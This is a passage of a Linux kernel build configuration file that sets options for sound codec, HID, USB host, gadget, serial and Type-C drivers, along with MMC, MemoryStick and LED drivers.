# CONFIG_SND_SOC_UDA1380 is not set
# CONFIG_SND_SOC_WCD937X_SDW is not set
# CONFIG_SND_SOC_WCD938X_SDW is not set
# CONFIG_SND_SOC_WCD939X_SDW is not set
# CONFIG_SND_SOC_WM8510 is not set
# CONFIG_SND_SOC_WM8523 is not set
# CONFIG_SND_SOC_WM8524 is not set
# CONFIG_SND_SOC_WM8580 is not set
# CONFIG_SND_SOC_WM8711 is not set
# CONFIG_SND_SOC_WM8728 is not set
# CONFIG_SND_SOC_WM8731_I2C is not set
# CONFIG_SND_SOC_WM8731_SPI is not set
# CONFIG_SND_SOC_WM8737 is not set
# CONFIG_SND_SOC_WM8741 is not set
# CONFIG_SND_SOC_WM8750 is not set
# CONFIG_SND_SOC_WM8753 is not set
# CONFIG_SND_SOC_WM8770 is not set
# CONFIG_SND_SOC_WM8776 is not set
# CONFIG_SND_SOC_WM8782 is not set
# CONFIG_SND_SOC_WM8804_I2C is not set
# CONFIG_SND_SOC_WM8804_SPI is not set
# CONFIG_SND_SOC_WM8903 is not set
# CONFIG_SND_SOC_WM8904 is not set
# CONFIG_SND_SOC_WM8940 is not set
# CONFIG_SND_SOC_WM8960 is not set
# CONFIG_SND_SOC_WM8961 is not set
# CONFIG_SND_SOC_WM8962 is not set
# CONFIG_SND_SOC_WM8974 is not set
# CONFIG_SND_SOC_WM8978 is not set
# CONFIG_SND_SOC_WM8985 is not set
# CONFIG_SND_SOC_WSA881X is not set
# CONFIG_SND_SOC_WSA883X is not set
# CONFIG_SND_SOC_WSA884X is not set
# CONFIG_SND_SOC_WSA885X is not set
# CONFIG_SND_SOC_ZL38060 is not set
# CONFIG_SND_SOC_MAX9759 is not set
# CONFIG_SND_SOC_MT6351 is not set
# CONFIG_SND_SOC_MT6357 is not set
# CONFIG_SND_SOC_MT6358 is not set
# CONFIG_SND_SOC_MT6660 is not set
# CONFIG_SND_SOC_NAU8315 is not set
# CONFIG_SND_SOC_NAU8325 is not set
# CONFIG_SND_SOC_NAU8540 is not set
# CONFIG_SND_SOC_NAU8810 is not set
# CONFIG_SND_SOC_NAU8821 is not set
# CONFIG_SND_SOC_NAU8822 is not set
# CONFIG_SND_SOC_NAU8824 is not set
# CONFIG_SND_SOC_NAU8360 is not set
# CONFIG_SND_SOC_NTP8918 is not set
# CONFIG_SND_SOC_NTP8835 is not set
# CONFIG_SND_SOC_TPA6130A2 is not set
# CONFIG_SND_SOC_LPASS_WSA_MACRO is not set
# CONFIG_SND_SOC_LPASS_VA_MACRO is not set
# CONFIG_SND_SOC_LPASS_RX_MACRO is not set
# CONFIG_SND_SOC_LPASS_TX_MACRO is not set
# end of CODEC drivers

#
# Generic drivers
#
# CONFIG_SND_SIMPLE_CARD is not set
# CONFIG_SND_AUDIO_GRAPH_CARD is not set
# CONFIG_SND_AUDIO_GRAPH_CARD2 is not set
# CONFIG_SND_TEST_COMPONENT is not set
# end of Generic drivers

CONFIG_SND_X86=y
# CONFIG_HDMI_LPE_AUDIO is not set
CONFIG_SND_VIRTIO=y
CONFIG_HID_SUPPORT=y
CONFIG_HID=y
CONFIG_HID_BATTERY_STRENGTH=y
CONFIG_HIDRAW=y
CONFIG_UHID=y
CONFIG_HID_GENERIC=y
CONFIG_HID_HAPTIC=y

#
# Special HID drivers
#
CONFIG_HID_A4TECH=y
CONFIG_HID_ACCUTOUCH=y
CONFIG_HID_ACRUX=y
CONFIG_HID_ACRUX_FF=y
CONFIG_HID_APPLE=y
CONFIG_HID_APPLEIR=y
# CONFIG_HID_APPLETB_BL is not set
# CONFIG_HID_APPLETB_KBD is not set
CONFIG_HID_ASUS=y
CONFIG_HID_AUREAL=y
CONFIG_HID_BELKIN=y
CONFIG_HID_BETOP_FF=y
CONFIG_HID_BIGBEN_FF=y
CONFIG_HID_CHERRY=y
CONFIG_HID_CHICONY=y
CONFIG_HID_CORSAIR=y
CONFIG_HID_COUGAR=y
CONFIG_HID_MACALLY=y
CONFIG_HID_PRODIKEYS=y
CONFIG_HID_CMEDIA=y
CONFIG_HID_CP2112=y
CONFIG_HID_CREATIVE_SB0540=y
CONFIG_HID_CYPRESS=y
CONFIG_HID_DRAGONRISE=y
CONFIG_DRAGONRISE_FF=y
CONFIG_HID_EMS_FF=y
CONFIG_HID_ELAN=y
CONFIG_HID_ELECOM=y
CONFIG_HID_ELO=y
CONFIG_HID_EVISION=y
CONFIG_HID_EZKEY=y
CONFIG_HID_FT260=y
CONFIG_HID_GEMBIRD=y
CONFIG_HID_GFRM=y
CONFIG_HID_GLORIOUS=y
CONFIG_HID_HOLTEK=y
CONFIG_HOLTEK_FF=y
# CONFIG_HID_HYPERX is not set
CONFIG_HID_VIVALDI_COMMON=y
# CONFIG_HID_GOODIX_SPI is not set
CONFIG_HID_GOOGLE_STADIA_FF=y
CONFIG_HID_VIVALDI=y
CONFIG_HID_GT683R=y
# CONFIG_HID_MSI is not set
CONFIG_HID_KEYTOUCH=y
CONFIG_HID_KYE=y
# CONFIG_HID_KYSONA is not set
CONFIG_HID_UCLOGIC=y
CONFIG_HID_WALTOP=y
CONFIG_HID_VIEWSONIC=y
CONFIG_HID_VRC2=y
CONFIG_HID_XIAOMI=y
CONFIG_HID_GYRATION=y
CONFIG_HID_ICADE=y
CONFIG_HID_ITE=y
CONFIG_HID_JABRA=y
CONFIG_HID_TWINHAN=y
CONFIG_HID_KENSINGTON=y
CONFIG_HID_LCPOWER=y
CONFIG_HID_LED=y
CONFIG_HID_LENOVO=y
# CONFIG_HID_LENOVO_GO is not set
# CONFIG_HID_LENOVO_GO_S is not set
CONFIG_HID_LETSKETCH=y
CONFIG_HID_LOGITECH=y
CONFIG_HID_LOGITECH_DJ=y
CONFIG_HID_LOGITECH_HIDPP=y
CONFIG_LOGITECH_FF=y
CONFIG_LOGIRUMBLEPAD2_FF=y
CONFIG_LOGIG940_FF=y
CONFIG_LOGIWHEELS_FF=y
CONFIG_HID_MAGICMOUSE=y
CONFIG_HID_MALTRON=y
CONFIG_HID_MAYFLASH=y
CONFIG_HID_MEGAWORLD_FF=y
# CONFIG_HID_RAKK is not set
CONFIG_HID_REDRAGON=y
CONFIG_HID_MICROSOFT=y
CONFIG_HID_MONTEREY=y
CONFIG_HID_MULTITOUCH=y
CONFIG_HID_NINTENDO=y
CONFIG_NINTENDO_FF=y
CONFIG_HID_NTI=y
CONFIG_HID_NTRIG=y
CONFIG_HID_NVIDIA_SHIELD=y
CONFIG_NVIDIA_SHIELD_FF=y
CONFIG_HID_ORTEK=y
# CONFIG_HID_OXP is not set
CONFIG_HID_PANTHERLORD=y
CONFIG_PANTHERLORD_FF=y
CONFIG_HID_PENMOUNT=y
CONFIG_HID_PETALYNX=y
CONFIG_HID_PICOLCD=y
CONFIG_HID_PICOLCD_FB=y
CONFIG_HID_PICOLCD_BACKLIGHT=y
CONFIG_HID_PICOLCD_LCD=y
CONFIG_HID_PICOLCD_LEDS=y
CONFIG_HID_PICOLCD_CIR=y
CONFIG_HID_PLANTRONICS=y
CONFIG_HID_PLAYSTATION=y
CONFIG_PLAYSTATION_FF=y
CONFIG_HID_PXRC=y
# CONFIG_HID_RAPOO is not set
CONFIG_HID_RAZER=y
CONFIG_HID_PRIMAX=y
CONFIG_HID_RETRODE=y
CONFIG_HID_ROCCAT=y
CONFIG_HID_SAITEK=y
CONFIG_HID_SAMSUNG=y
CONFIG_HID_SEMITEK=y
CONFIG_HID_SIGMAMICRO=y
CONFIG_HID_SONY=y
CONFIG_SONY_FF=y
CONFIG_HID_SPEEDLINK=y
CONFIG_HID_STEAM=y
CONFIG_STEAM_FF=y
CONFIG_HID_STEELSERIES=y
CONFIG_HID_SUNPLUS=y
CONFIG_HID_RMI=y
CONFIG_HID_GREENASIA=y
CONFIG_GREENASIA_FF=y
CONFIG_HID_SMARTJOYPLUS=y
CONFIG_SMARTJOYPLUS_FF=y
CONFIG_HID_TIVO=y
CONFIG_HID_TOPSEED=y
CONFIG_HID_TOPRE=y
CONFIG_HID_THINGM=y
CONFIG_HID_THRUSTMASTER=y
CONFIG_THRUSTMASTER_FF=y
CONFIG_HID_UDRAW_PS3=y
CONFIG_HID_U2FZERO=y
# CONFIG_HID_UNIVERSAL_PIDFF is not set
CONFIG_HID_WACOM=y
CONFIG_HID_WIIMOTE=y
# CONFIG_HID_WINWING is not set
CONFIG_HID_XINMO=y
CONFIG_HID_ZEROPLUS=y
CONFIG_ZEROPLUS_FF=y
CONFIG_HID_ZYDACRON=y
CONFIG_HID_SENSOR_HUB=y
CONFIG_HID_SENSOR_CUSTOM_SENSOR=y
CONFIG_HID_ALPS=y
CONFIG_HID_MCP2200=y
CONFIG_HID_MCP2221=y
CONFIG_HID_HUAWEI=y
# end of Special HID drivers

#
# HID-BPF support
#
# end of HID-BPF support

CONFIG_I2C_HID=y
CONFIG_I2C_HID_ACPI=y
CONFIG_I2C_HID_OF=y
# CONFIG_I2C_HID_OF_ELAN is not set
# CONFIG_I2C_HID_OF_GOODIX is not set
CONFIG_I2C_HID_CORE=y

#
# Intel ISH HID support
#
CONFIG_INTEL_ISH_HID=y
CONFIG_INTEL_ISH_FIRMWARE_DOWNLOADER=y
# end of Intel ISH HID support

#
# AMD SFH HID Support
#
CONFIG_AMD_SFH_HID=y
# end of AMD SFH HID Support

#
# Surface System Aggregator Module HID support
#
CONFIG_SURFACE_HID=y
CONFIG_SURFACE_KBD=y
# end of Surface System Aggregator Module HID support

CONFIG_SURFACE_HID_CORE=y

#
# Intel THC HID Support
#
# CONFIG_INTEL_THC_HID is not set
# end of Intel THC HID Support

#
# USB HID support
#
CONFIG_USB_HID=y
CONFIG_HID_PID=y
CONFIG_USB_HIDDEV=y
# end of USB HID support

CONFIG_USB_OHCI_LITTLE_ENDIAN=y
CONFIG_USB_SUPPORT=y
CONFIG_USB_COMMON=y
CONFIG_USB_LED_TRIG=y
CONFIG_USB_ULPI_BUS=y
CONFIG_USB_CONN_GPIO=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB=y
CONFIG_USB_PCI=y
CONFIG_USB_PCI_AMD=y
CONFIG_USB_ANNOUNCE_NEW_DEVICES=y

#
# Miscellaneous USB options
#
CONFIG_USB_DEFAULT_PERSIST=y
CONFIG_USB_FEW_INIT_RETRIES=y
CONFIG_USB_DYNAMIC_MINORS=y
CONFIG_USB_OTG=y
# CONFIG_USB_OTG_PRODUCTLIST is not set
# CONFIG_USB_OTG_DISABLE_EXTERNAL_HUB is not set
CONFIG_USB_OTG_FSM=y
CONFIG_USB_LEDS_TRIGGER_USBPORT=y
CONFIG_USB_AUTOSUSPEND_DELAY=2
CONFIG_USB_DEFAULT_AUTHORIZATION_MODE=1
CONFIG_USB_MON=y

#
# USB Host Controller Drivers
#
CONFIG_USB_C67X00_HCD=y
CONFIG_USB_XHCI_HCD=y
CONFIG_USB_XHCI_DBGCAP=y
CONFIG_USB_XHCI_PCI=y
CONFIG_USB_XHCI_PCI_RENESAS=y
CONFIG_USB_XHCI_PLATFORM=y
# CONFIG_USB_XHCI_SIDEBAND is not set
CONFIG_USB_EHCI_HCD=y
CONFIG_USB_EHCI_ROOT_HUB_TT=y
CONFIG_USB_EHCI_TT_NEWSCHED=y
CONFIG_USB_EHCI_PCI=y
CONFIG_USB_EHCI_FSL=y
CONFIG_USB_EHCI_HCD_PLATFORM=y
CONFIG_USB_OXU210HP_HCD=y
CONFIG_USB_ISP116X_HCD=y
CONFIG_USB_MAX3421_HCD=y
CONFIG_USB_OHCI_HCD=y
CONFIG_USB_OHCI_HCD_PCI=y
# CONFIG_USB_OHCI_HCD_SSB is not set
CONFIG_USB_OHCI_HCD_PLATFORM=y
CONFIG_USB_UHCI_HCD=y
CONFIG_USB_SL811_HCD=y
CONFIG_USB_SL811_HCD_ISO=y
CONFIG_USB_SL811_CS=y
CONFIG_USB_R8A66597_HCD=y
CONFIG_USB_HCD_BCMA=y
CONFIG_USB_HCD_SSB=y
# CONFIG_USB_HCD_TEST_MODE is not set

#
# USB Device Class drivers
#
CONFIG_USB_ACM=y
CONFIG_USB_PRINTER=y
CONFIG_USB_WDM=y
CONFIG_USB_TMC=y

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may also be needed; see USB_STORAGE Help for more info
#
CONFIG_USB_STORAGE=y
# CONFIG_USB_STORAGE_DEBUG is not set
CONFIG_USB_STORAGE_REALTEK=y
CONFIG_REALTEK_AUTOPM=y
CONFIG_USB_STORAGE_DATAFAB=y
CONFIG_USB_STORAGE_FREECOM=y
CONFIG_USB_STORAGE_ISD200=y
CONFIG_USB_STORAGE_USBAT=y
CONFIG_USB_STORAGE_SDDR09=y
CONFIG_USB_STORAGE_SDDR55=y
CONFIG_USB_STORAGE_JUMPSHOT=y
CONFIG_USB_STORAGE_ALAUDA=y
CONFIG_USB_STORAGE_ONETOUCH=y
CONFIG_USB_STORAGE_KARMA=y
CONFIG_USB_STORAGE_CYPRESS_ATACB=y
CONFIG_USB_STORAGE_ENE_UB6250=y
CONFIG_USB_UAS=y

#
# USB Imaging devices
#
CONFIG_USB_MDC800=y
CONFIG_USB_MICROTEK=y
CONFIG_USBIP_CORE=y
CONFIG_USBIP_VHCI_HCD=y
CONFIG_USBIP_VHCI_HC_PORTS=8
CONFIG_USBIP_VHCI_NR_HCS=16
CONFIG_USBIP_HOST=y
CONFIG_USBIP_VUDC=y
# CONFIG_USBIP_DEBUG is not set

#
# USB dual-mode controller drivers
#
CONFIG_USB_CDNS_SUPPORT=y
CONFIG_USB_CDNS3=y
CONFIG_USB_CDNS3_HOST=y
CONFIG_USB_CDNS3_GADGET=y

#
# Platform glue driver support
#
CONFIG_USB_CDNS3_PCI_WRAP=y
CONFIG_USB_CDNSP_PCI=y
CONFIG_USB_MUSB_HDRC=y
# CONFIG_USB_MUSB_HOST is not set
# CONFIG_USB_MUSB_GADGET is not set
CONFIG_USB_MUSB_DUAL_ROLE=y

#
# Platform Glue Layer
#

#
# MUSB DMA mode
#
CONFIG_MUSB_PIO_ONLY=y
CONFIG_USB_DWC3=y
CONFIG_USB_DWC3_ULPI=y
# CONFIG_USB_DWC3_HOST is not set
CONFIG_USB_DWC3_GADGET=y
# CONFIG_USB_DWC3_DUAL_ROLE is not set

#
# Platform Glue Driver Support
#
CONFIG_USB_DWC3_PCI=y
CONFIG_USB_DWC3_HAPS=y
CONFIG_USB_DWC3_OF_SIMPLE=y
CONFIG_USB_DWC3_GENERIC_PLAT=y
# CONFIG_USB_DWC3_GOOGLE is not set
CONFIG_USB_DWC2=y
CONFIG_USB_DWC2_HOST=y

#
# Gadget/Dual-role mode requires USB Gadget support to be enabled
#
# CONFIG_USB_DWC2_PERIPHERAL is not set
# CONFIG_USB_DWC2_DUAL_ROLE is not set
CONFIG_USB_DWC2_PCI=y
# CONFIG_USB_DWC2_DEBUG is not set
# CONFIG_USB_DWC2_TRACK_MISSED_SOFS is not set
CONFIG_USB_CHIPIDEA=y
CONFIG_USB_CHIPIDEA_UDC=y
CONFIG_USB_CHIPIDEA_HOST=y
CONFIG_USB_CHIPIDEA_PCI=y
CONFIG_USB_CHIPIDEA_MSM=y
CONFIG_USB_CHIPIDEA_NPCM=y
# CONFIG_USB_CHIPIDEA_IMX is not set
CONFIG_USB_CHIPIDEA_GENERIC=y
# CONFIG_USB_CHIPIDEA_TEGRA is not set
CONFIG_USB_ISP1760=y
CONFIG_USB_ISP1760_HCD=y
CONFIG_USB_ISP1761_UDC=y
# CONFIG_USB_ISP1760_HOST_ROLE is not set
# CONFIG_USB_ISP1760_GADGET_ROLE is not set
CONFIG_USB_ISP1760_DUAL_ROLE=y

#
# USB port drivers
#
CONFIG_USB_SERIAL=y
CONFIG_USB_SERIAL_CONSOLE=y
CONFIG_USB_SERIAL_GENERIC=y
CONFIG_USB_SERIAL_SIMPLE=y
CONFIG_USB_SERIAL_AIRCABLE=y
CONFIG_USB_SERIAL_ARK3116=y
CONFIG_USB_SERIAL_BELKIN=y
CONFIG_USB_SERIAL_CH341=y
CONFIG_USB_SERIAL_WHITEHEAT=y
CONFIG_USB_SERIAL_DIGI_ACCELEPORT=y
CONFIG_USB_SERIAL_CP210X=y
CONFIG_USB_SERIAL_CYPRESS_M8=y
CONFIG_USB_SERIAL_EMPEG=y
CONFIG_USB_SERIAL_FTDI_SIO=y
CONFIG_USB_SERIAL_VISOR=y
CONFIG_USB_SERIAL_IPAQ=y
CONFIG_USB_SERIAL_IR=y
CONFIG_USB_SERIAL_EDGEPORT=y
CONFIG_USB_SERIAL_EDGEPORT_TI=y
CONFIG_USB_SERIAL_F81232=y
CONFIG_USB_SERIAL_F8153X=y
CONFIG_USB_SERIAL_GARMIN=y
CONFIG_USB_SERIAL_IPW=y
CONFIG_USB_SERIAL_IUU=y
CONFIG_USB_SERIAL_KEYSPAN_PDA=y
CONFIG_USB_SERIAL_KEYSPAN=y
CONFIG_USB_SERIAL_KLSI=y
CONFIG_USB_SERIAL_KOBIL_SCT=y
CONFIG_USB_SERIAL_MCT_U232=y
CONFIG_USB_SERIAL_METRO=y
CONFIG_USB_SERIAL_MOS7720=y
CONFIG_USB_SERIAL_MOS7715_PARPORT=y
CONFIG_USB_SERIAL_MOS7840=y
CONFIG_USB_SERIAL_MXUPORT=y
CONFIG_USB_SERIAL_NAVMAN=y
CONFIG_USB_SERIAL_PL2303=y
CONFIG_USB_SERIAL_OTI6858=y
CONFIG_USB_SERIAL_QCAUX=y
CONFIG_USB_SERIAL_QUALCOMM=y
CONFIG_USB_SERIAL_SPCP8X5=y
CONFIG_USB_SERIAL_SAFE=y
# CONFIG_USB_SERIAL_SAFE_PADDED is not set
CONFIG_USB_SERIAL_SIERRAWIRELESS=y
CONFIG_USB_SERIAL_SYMBOL=y
CONFIG_USB_SERIAL_TI=y
CONFIG_USB_SERIAL_CYBERJACK=y
CONFIG_USB_SERIAL_WWAN=y
CONFIG_USB_SERIAL_OPTION=y
CONFIG_USB_SERIAL_OMNINET=y
CONFIG_USB_SERIAL_OPTICON=y
CONFIG_USB_SERIAL_XSENS_MT=y
CONFIG_USB_SERIAL_WISHBONE=y
CONFIG_USB_SERIAL_SSU100=y
CONFIG_USB_SERIAL_QT2=y
CONFIG_USB_SERIAL_UPD78F0730=y
CONFIG_USB_SERIAL_XR=y
CONFIG_USB_SERIAL_DEBUG=y

#
# USB Miscellaneous drivers
#
CONFIG_USB_USS720=y
CONFIG_USB_EMI62=y
CONFIG_USB_EMI26=y
CONFIG_USB_ADUTUX=y
CONFIG_USB_SEVSEG=y
CONFIG_USB_LEGOTOWER=y
CONFIG_USB_LCD=y
CONFIG_USB_CYPRESS_CY7C63=y
CONFIG_USB_CYTHERM=y
CONFIG_USB_IDMOUSE=y
CONFIG_USB_APPLEDISPLAY=y
CONFIG_APPLE_MFI_FASTCHARGE=y
CONFIG_USB_LJCA=y
# CONFIG_USB_USBIO is not set
CONFIG_USB_SISUSBVGA=y
CONFIG_USB_LD=y
CONFIG_USB_TRANCEVIBRATOR=y
CONFIG_USB_IOWARRIOR=y
CONFIG_USB_TEST=y
CONFIG_USB_EHSET_TEST_FIXTURE=y
CONFIG_USB_ISIGHTFW=y
CONFIG_USB_YUREX=y
CONFIG_USB_EZUSB_FX2=y
CONFIG_USB_HUB_USB251XB=y
CONFIG_USB_HSIC_USB3503=y
CONFIG_USB_HSIC_USB4604=y
CONFIG_USB_LINK_LAYER_TEST=y
CONFIG_USB_CHAOSKEY=y
# CONFIG_USB_ONBOARD_DEV is not set
CONFIG_USB_ATM=y
CONFIG_USB_SPEEDTOUCH=y
CONFIG_USB_CXACRU=y
CONFIG_USB_UEAGLEATM=y
CONFIG_USB_XUSBATM=y

#
# USB Physical Layer drivers
#
CONFIG_USB_PHY=y
CONFIG_NOP_USB_XCEIV=y
CONFIG_TAHVO_USB=y
CONFIG_TAHVO_USB_HOST_BY_DEFAULT=y
CONFIG_USB_ISP1301=y
# end of USB Physical Layer drivers

CONFIG_USB_GADGET=y
# CONFIG_USB_GADGET_DEBUG is not set
CONFIG_USB_GADGET_DEBUG_FILES=y
CONFIG_USB_GADGET_DEBUG_FS=y
CONFIG_USB_GADGET_VBUS_DRAW=2
CONFIG_USB_GADGET_STORAGE_NUM_BUFFERS=2
CONFIG_U_SERIAL_CONSOLE=y

#
# USB Peripheral Controller
#
CONFIG_USB_GR_UDC=y
CONFIG_USB_R8A66597=y
CONFIG_USB_PXA27X=y
CONFIG_USB_SNP_CORE=y
# CONFIG_USB_SNP_UDC_PLAT is not set
# CONFIG_USB_M66592 is not set
CONFIG_USB_BDC_UDC=y
CONFIG_USB_AMD5536UDC=y
CONFIG_USB_NET2280=y
CONFIG_USB_GOKU=y
CONFIG_USB_EG20T=y
# CONFIG_USB_GADGET_XILINX is not set
CONFIG_USB_MAX3420_UDC=y
CONFIG_USB_CDNS2_UDC=y
CONFIG_USB_DUMMY_HCD=y
# end of USB Peripheral Controller

CONFIG_USB_LIBCOMPOSITE=y
CONFIG_USB_F_ACM=y
CONFIG_USB_F_SS_LB=y
CONFIG_USB_U_SERIAL=y
CONFIG_USB_U_ETHER=y
CONFIG_USB_U_AUDIO=y
CONFIG_USB_F_SERIAL=y
CONFIG_USB_F_OBEX=y
CONFIG_USB_F_NCM=y
CONFIG_USB_F_ECM=y
CONFIG_USB_F_PHONET=y
CONFIG_USB_F_EEM=y
CONFIG_USB_F_SUBSET=y
CONFIG_USB_F_RNDIS=y
CONFIG_USB_F_MASS_STORAGE=y
CONFIG_USB_F_FS=y
CONFIG_USB_F_UAC1=y
CONFIG_USB_F_UAC1_LEGACY=y
CONFIG_USB_F_UAC2=y
CONFIG_USB_F_UVC=y
CONFIG_USB_F_MIDI=y
CONFIG_USB_F_MIDI2=y
CONFIG_USB_F_HID=y
CONFIG_USB_F_PRINTER=y
CONFIG_USB_F_TCM=y
CONFIG_USB_CONFIGFS=y
CONFIG_USB_CONFIGFS_SERIAL=y
CONFIG_USB_CONFIGFS_ACM=y
CONFIG_USB_CONFIGFS_OBEX=y
CONFIG_USB_CONFIGFS_NCM=y
CONFIG_USB_CONFIGFS_ECM=y
CONFIG_USB_CONFIGFS_ECM_SUBSET=y
CONFIG_USB_CONFIGFS_RNDIS=y
CONFIG_USB_CONFIGFS_EEM=y
CONFIG_USB_CONFIGFS_PHONET=y
CONFIG_USB_CONFIGFS_MASS_STORAGE=y
CONFIG_USB_CONFIGFS_F_LB_SS=y
CONFIG_USB_CONFIGFS_F_FS=y
CONFIG_USB_CONFIGFS_F_UAC1=y
CONFIG_USB_CONFIGFS_F_UAC1_LEGACY=y
CONFIG_USB_CONFIGFS_F_UAC2=y
CONFIG_USB_CONFIGFS_F_MIDI=y
CONFIG_USB_CONFIGFS_F_MIDI2=y
CONFIG_USB_CONFIGFS_F_HID=y
CONFIG_USB_CONFIGFS_F_UVC=y
CONFIG_USB_CONFIGFS_F_PRINTER=y
CONFIG_USB_CONFIGFS_F_TCM=y

#
# USB Gadget precomposed configurations
#
# CONFIG_USB_ZERO is not set
# CONFIG_USB_AUDIO is not set
# CONFIG_USB_ETH is not set
# CONFIG_USB_G_NCM is not set
CONFIG_USB_GADGETFS=y
# CONFIG_USB_FUNCTIONFS is not set
# CONFIG_USB_MASS_STORAGE is not set
# CONFIG_USB_GADGET_TARGET is not set
# CONFIG_USB_G_SERIAL is not set
# CONFIG_USB_MIDI_GADGET is not set
# CONFIG_USB_G_PRINTER is not set
# CONFIG_USB_CDC_COMPOSITE is not set
# CONFIG_USB_G_NOKIA is not set
# CONFIG_USB_G_ACM_MS is not set
# CONFIG_USB_G_MULTI is not set
# CONFIG_USB_G_HID is not set
# CONFIG_USB_G_DBGP is not set
# CONFIG_USB_G_WEBCAM is not set
CONFIG_USB_RAW_GADGET=y
# end of USB Gadget precomposed configurations

CONFIG_TYPEC=y
CONFIG_TYPEC_TCPM=y
CONFIG_TYPEC_TCPCI=y
CONFIG_TYPEC_RT1711H=y
CONFIG_TYPEC_MT6360=y
CONFIG_TYPEC_TCPCI_MT6370=y
CONFIG_TYPEC_TCPCI_MAXIM=y
CONFIG_TYPEC_FUSB302=y
CONFIG_TYPEC_WCOVE=y
CONFIG_TYPEC_UCSI=y
CONFIG_UCSI_CCG=y
CONFIG_UCSI_ACPI=y
CONFIG_UCSI_STM32G0=y
CONFIG_TYPEC_TPS6598X=y
CONFIG_TYPEC_ANX7411=y
CONFIG_TYPEC_RT1719=y
CONFIG_TYPEC_HD3SS3220=y
CONFIG_TYPEC_STUSB160X=y
CONFIG_TYPEC_WUSB3801=y

#
# USB Type-C Multiplexer/DeMultiplexer Switch support
#
CONFIG_TYPEC_MUX_FSA4480=y
CONFIG_TYPEC_MUX_GPIO_SBU=y
CONFIG_TYPEC_MUX_PI3USB30532=y
CONFIG_TYPEC_MUX_INTEL_PMC=y
# CONFIG_TYPEC_MUX_IT5205 is not set
CONFIG_TYPEC_MUX_NB7VPQ904M=y
# CONFIG_TYPEC_MUX_PS883X is not set
CONFIG_TYPEC_MUX_PTN36502=y
# CONFIG_TYPEC_MUX_TUSB1046 is not set
CONFIG_TYPEC_MUX_WCD939X_USBSS=y
# end of USB Type-C Multiplexer/DeMultiplexer Switch support

#
# USB Type-C Alternate Mode drivers
#
CONFIG_TYPEC_DP_ALTMODE=y
CONFIG_TYPEC_NVIDIA_ALTMODE=y
# CONFIG_TYPEC_TBT_ALTMODE is not set
# end of USB Type-C Alternate Mode drivers

CONFIG_USB_ROLE_SWITCH=y
CONFIG_USB_ROLES_INTEL_XHCI=y
CONFIG_MMC=y
# CONFIG_PWRSEQ_EMMC is not set
# CONFIG_PWRSEQ_SD8787 is not set
# CONFIG_PWRSEQ_SIMPLE is not set
# CONFIG_MMC_BLOCK is not set
# CONFIG_SDIO_UART is not set
# CONFIG_MMC_TEST is not set
# CONFIG_MMC_CRYPTO is not set

#
# MMC/SD/SDIO Host Controller Drivers
#
# CONFIG_MMC_DEBUG is not set
# CONFIG_MMC_SDHCI is not set
# CONFIG_MMC_WBSD is not set
# CONFIG_MMC_TIFM_SD is not set
# CONFIG_MMC_SPI is not set
# CONFIG_MMC_SDRICOH_CS is not set
# CONFIG_MMC_CB710 is not set
# CONFIG_MMC_VIA_SDMMC is not set
CONFIG_MMC_VUB300=y
CONFIG_MMC_USHC=y
# CONFIG_MMC_USDHI6ROL0 is not set
CONFIG_MMC_REALTEK_USB=y
# CONFIG_MMC_CQHCI is not set
# CONFIG_MMC_HSQ is not set
# CONFIG_MMC_TOSHIBA_PCI is not set
# CONFIG_MMC_MTK is not set
# CONFIG_SCSI_UFSHCD is not set
CONFIG_MEMSTICK=y
# CONFIG_MEMSTICK_DEBUG is not set

#
# MemoryStick drivers
#
# CONFIG_MEMSTICK_UNSAFE_RESUME is not set
# CONFIG_MSPRO_BLOCK is not set
# CONFIG_MS_BLOCK is not set

#
# MemoryStick Host Controller Drivers
#
# CONFIG_MEMSTICK_TIFM_MS is not set
# CONFIG_MEMSTICK_JMICRON_38X is not set
# CONFIG_MEMSTICK_R592 is not set
CONFIG_MEMSTICK_REALTEK_USB=y
CONFIG_NEW_LEDS=y
CONFIG_LEDS_CLASS=y
# CONFIG_LEDS_CLASS_FLASH is not set
CONFIG_LEDS_CLASS_MULTICOLOR=y
# CONFIG_LEDS_BRIGHTNESS_HW_CHANGED is not set

#
# LED drivers
#
# CONFIG_LEDS_AN30259A is not set
# CONFIG_LEDS_APU is not set
# CONFIG_LEDS_OSRAM_AMS_AS3668 is not set
# CONFIG_LEDS_AW200XX is not set
# CONFIG_LEDS_AW2013 is not set
# CONFIG_LEDS_BCM6328 is not set
# CONFIG_LEDS_BCM6358 is not set
# CONFIG_LEDS_CHT_WCOVE is not set
# CONFIG_LEDS_CR0014114 is not set
# CONFIG_LEDS_EL15203000 is not set
# CONFIG_LEDS_LM3530 is not set
# CONFIG_LEDS_LM3532 is not set
# CONFIG_LEDS_LM3642 is not set
# CONFIG_LEDS_LM3692X is not set
# CONFIG_LEDS_PCA9532 is not set
# CONFIG_LEDS_GPIO is not set
# CONFIG_LEDS_LP3944 is not set
# CONFIG_LEDS_LP3952 is not set
# CONFIG_LEDS_LP50XX is not set
# CONFIG_LEDS_LP55XX_COMMON is not set
# CONFIG_LEDS_LP8860 is not set
# CONFIG_LEDS_LP8864 is not set
# CONFIG_LEDS_PCA955X is not set
# CONFIG_LEDS_PCA963X is not set
# CONFIG_LEDS_PCA995X is not set
# CONFIG_LEDS_DAC124S085 is not set
# CONFIG_LEDS_REGULATOR is not set
# CONFIG_LEDS_BD2606MVV is not set
# CONFIG_LEDS_BD2802 is not set
# CONFIG_LEDS_INTEL_SS4200 is not set
# CONFIG_LEDS_LT3593 is not set
# CONFIG_LEDS_TCA6507 is not set
# CONFIG_LEDS_TLC591XX is not set
# CONFIG_LEDS_LM355x is not set
# CONFIG_LEDS_IS31FL319X is not set
# CONFIG_LEDS_IS31FL32XX is not set

#
# LED driver for blink(1) USB RGB LED is under Special HID drivers (HID_THINGM)
#
# CONFIG_LEDS_BLINKM is not set
# CONFIG_LEDS_SYSCON is not set
# CONFIG_LEDS_MLXCPLD is not set
# CONFIG_LEDS_MLXREG is not set
# CONFIG_LEDS_USER is not set
# CONFIG_LEDS_NIC78BX is not set
# CONFIG_LEDS_SPI_BYTE is not set
# CONFIG_LEDS_LM3697 is not set
# CONFIG_LEDS_ST1202 is not set
# CONFIG_LEDS_LTC3220 is not set
# CONFIG_LEDS_LGM is not set

#
# Flash and Torch LED drivers
#

#
# RGB LED drivers
#
# CONFIG_LEDS_GROUP_MULTICOLOR is not set
# CONFIG_LEDS_KTD202X is not set
# CONFIG_LEDS_LP5812 is not set
# CONFIG_LEDS_LP5860_CORE is not set
# CONFIG_LEDS_LP5860_SPI is not set
